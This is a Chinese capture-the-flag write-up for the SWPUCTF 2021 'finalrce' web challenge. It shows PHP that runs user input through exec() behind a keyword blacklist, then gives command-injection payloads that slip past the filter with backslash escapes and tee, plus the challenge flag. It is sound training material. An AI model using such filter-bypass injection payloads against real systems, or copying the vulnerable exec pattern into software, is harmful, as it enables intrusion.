[SWPUCTF 2021 新生赛]finalrce
[SWPUCTF 2021 新生赛]finalrce
题目来源:nssctf
题目类型:web
涉及考点:RCE
1. 上来先做代码审计
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
>
可以看到题目要求GET传入一个参数,且过滤了一系列字符串
介绍一下exec()函数:
exec(string $command, array &$output = null, int &$result_code = null): string|false
exec() 执行
command
参数所指定的命令。如果提供了output
参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。如果同时提供output
和result_code
参数,命令执行后的返回状态会被写入到result_code
。返回命令执行结果的最后一行内容。
因此我们知道直接传入命令是没有回显的,这也是标签打上未回显RCE的原因
这里需要用到一个tee命令
tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
接下来我们可以构造payload了
2. 构造payload
基本结构为:
command | tee file.txt
因为题目没过滤 | , 这是一个管道命令符号,用于将前一个命令的输出作为后一个命令的输入
那么这句话的意思就是将command我们需要执行的命令的输出作为tee命令的输入,tee命令再将其存到file.txt里
- 绕过ls:
/?url=l\s / |tee 1.txt
这里这个转义字符 \ 是用于在外壳程序中转移控制字符,使控制字符成为字面量,而失去其在外壳程序中控制符的含义(官方解释)
传入后我们再访问/1.txt
:
- 看到flag的位置了,且没过滤tac,于是直接读取:
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt
注意这里la之间也需要绕过
再访问2.txt
得到flag:
NSSCTF{1e4b95b2-d2e0-4af5-b5db-21c568a3d5f3}
日期:2023.8.23
作者:y0Zero